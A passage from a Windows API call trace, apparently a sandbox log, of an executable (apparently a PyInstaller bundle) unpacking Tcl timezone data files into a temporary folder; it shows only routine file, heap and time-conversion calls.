lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.404] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.404] CloseHandle (hObject=0x10c) returned 1 [0042.404] GetLastError () returned 0x0 [0042.404] SetLastError (dwErrCode=0x0) [0042.404] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.404] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.404] GetFileType (hFile=0x10c) returned 0x1 [0042.404] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.404] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.405] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.405] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.405] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.405] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.405] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.405] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.405] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.405] CloseHandle (hObject=0x10c) returned 1 [0042.405] GetLastError () returned 0x0 [0042.405] SetLastError (dwErrCode=0x0) [0042.405] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Kiev") returned 68 [0042.405] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Kiev" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\kiev"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.405] GetLastError () returned 0x2 [0042.405] SetLastError (dwErrCode=0x2) [0042.405] GetLastError () returned 0x2 [0042.405] SetLastError (dwErrCode=0x2) [0042.405] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Kiev", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Kiev", lpFilePart=0x0) returned 0x43 [0042.405] GetLastError () returned 0x2 [0042.405] SetLastError (dwErrCode=0x2) [0042.405] GetLastError () returned 0x2 [0042.405] SetLastError (dwErrCode=0x2) [0042.405] GetLastError () returned 0x2 [0042.405] SetLastError (dwErrCode=0x2) [0042.405] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Kiev") returned 68 [0042.405] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.405] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Kiev" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\kiev"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.406] GetFileType (hFile=0x10c) returned 0x1 [0042.406] htonl (hostlong=0x201c0000) returned 0x1c20 [0042.406] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.407] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.407] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc20, lpOverlapped=0x0) returned 1 [0042.407] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.407] CloseHandle (hObject=0x10c) returned 1 [0042.407] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.407] htonl (hostlong=0x30000000) returned 0x30 [0042.407] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.407] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.407] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.407] GetFileType (hFile=0x10c) returned 0x1 [0042.407] htonl (hostlong=0xb2c5c00) returned 0x5c2c0b [0042.407] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60dc0b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.407] htonl (hostlong=0xe080000) returned 0x80e [0042.407] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x80e) returned 0x55e278 [0042.407] htonl (hostlong=0xe080000) returned 0x80e [0042.407] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.407] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.407] htonl (hostlong=0xff240000) returned 0x24ff [0042.408] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x24ff) returned 0x561090 [0042.408] htonl (hostlong=0xe080000) returned 0x80e [0042.408] htonl (hostlong=0xff240000) returned 0x24ff [0042.408] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563598 [0042.408] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563598 | out: hHeap=0x530000) returned 1 [0042.408] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.408] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.408] CloseHandle (hObject=0x10c) returned 1 [0042.408] GetLastError () returned 0x0 [0042.408] SetLastError (dwErrCode=0x0) [0042.408] GetLastError () returned 0x0 [0042.408] SetLastError (dwErrCode=0x0) [0042.408] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.408] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.408] GetFileType (hFile=0x10c) returned 0x1 [0042.408] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.408] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.408] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.408] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.408] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.408] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.408] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.408] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.408] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.409] CloseHandle (hObject=0x10c) returned 1 [0042.409] GetLastError () returned 0x0 [0042.409] SetLastError (dwErrCode=0x0) [0042.409] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.409] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.409] GetFileType (hFile=0x10c) returned 0x1 [0042.409] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.409] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.409] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.409] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.409] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.409] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.409] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.409] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.409] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.409] CloseHandle (hObject=0x10c) returned 1 [0042.409] GetLastError () returned 0x0 [0042.409] SetLastError (dwErrCode=0x0) [0042.409] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.409] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.409] GetFileType (hFile=0x10c) returned 0x1 [0042.409] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.409] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.409] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.409] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.410] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.410] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.410] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.410] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.410] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.410] CloseHandle (hObject=0x10c) returned 1 [0042.410] GetLastError () returned 0x0 [0042.410] SetLastError (dwErrCode=0x0) [0042.410] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Lisbon") returned 70 [0042.410] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Lisbon" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\lisbon"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.410] GetLastError () returned 0x2 [0042.410] SetLastError (dwErrCode=0x2) [0042.410] GetLastError () returned 0x2 [0042.410] SetLastError (dwErrCode=0x2) [0042.410] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Lisbon", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Lisbon", lpFilePart=0x0) returned 0x45 [0042.410] GetLastError () returned 0x2 [0042.410] SetLastError (dwErrCode=0x2) [0042.410] GetLastError () returned 0x2 [0042.410] SetLastError (dwErrCode=0x2) [0042.410] GetLastError () returned 0x2 [0042.410] SetLastError (dwErrCode=0x2) [0042.410] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Lisbon") returned 70 [0042.410] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.410] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Lisbon" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\lisbon"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.410] GetFileType (hFile=0x10c) returned 0x1 [0042.411] htonl (hostlong=0xff240000) returned 0x24ff [0042.411] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0042.412] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.412] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x4ff, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x4ff, lpOverlapped=0x0) returned 1 [0042.412] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.412] CloseHandle (hObject=0x10c) returned 1 [0042.412] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.412] htonl (hostlong=0x30000000) returned 0x30 [0042.412] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.412] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.412] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.412] GetFileType (hFile=0x10c) returned 0x1 [0042.412] htonl (hostlong=0x19345c00) returned 0x5c3419 [0042.412] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60e419, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.412] htonl (hostlong=0x8d000000) returned 0x8d [0042.412] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8d) returned 0x55cfe0 [0042.412] htonl (hostlong=0x8d000000) returned 0x8d [0042.412] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.412] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.413] htonl (hostlong=0xb9000000) returned 0xb9 [0042.413] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb9) returned 0x55d298 [0042.413] htonl (hostlong=0x8d000000) returned 0x8d [0042.413] htonl (hostlong=0xb9000000) returned 0xb9 [0042.413] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.413] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.413] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.413] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.413] CloseHandle (hObject=0x10c) returned 1 [0042.413] GetLastError () returned 0x0 [0042.413] SetLastError (dwErrCode=0x0) [0042.413] GetLastError () returned 0x0 [0042.413] SetLastError (dwErrCode=0x0) [0042.413] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.413] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.413] GetFileType (hFile=0x10c) returned 0x1 [0042.413] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.413] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.413] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.413] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.413] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.413] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.413] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.413] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.413] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.413] CloseHandle (hObject=0x10c) returned 1 [0042.414] GetLastError () returned 0x0 [0042.414] SetLastError (dwErrCode=0x0) [0042.414] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.414] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.414] GetFileType (hFile=0x10c) returned 0x1 [0042.414] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.414] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.414] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.414] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.414] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.414] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.414] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.414] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.414] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.414] CloseHandle (hObject=0x10c) returned 1 [0042.414] GetLastError () returned 0x0 [0042.414] SetLastError (dwErrCode=0x0) [0042.414] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.414] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: 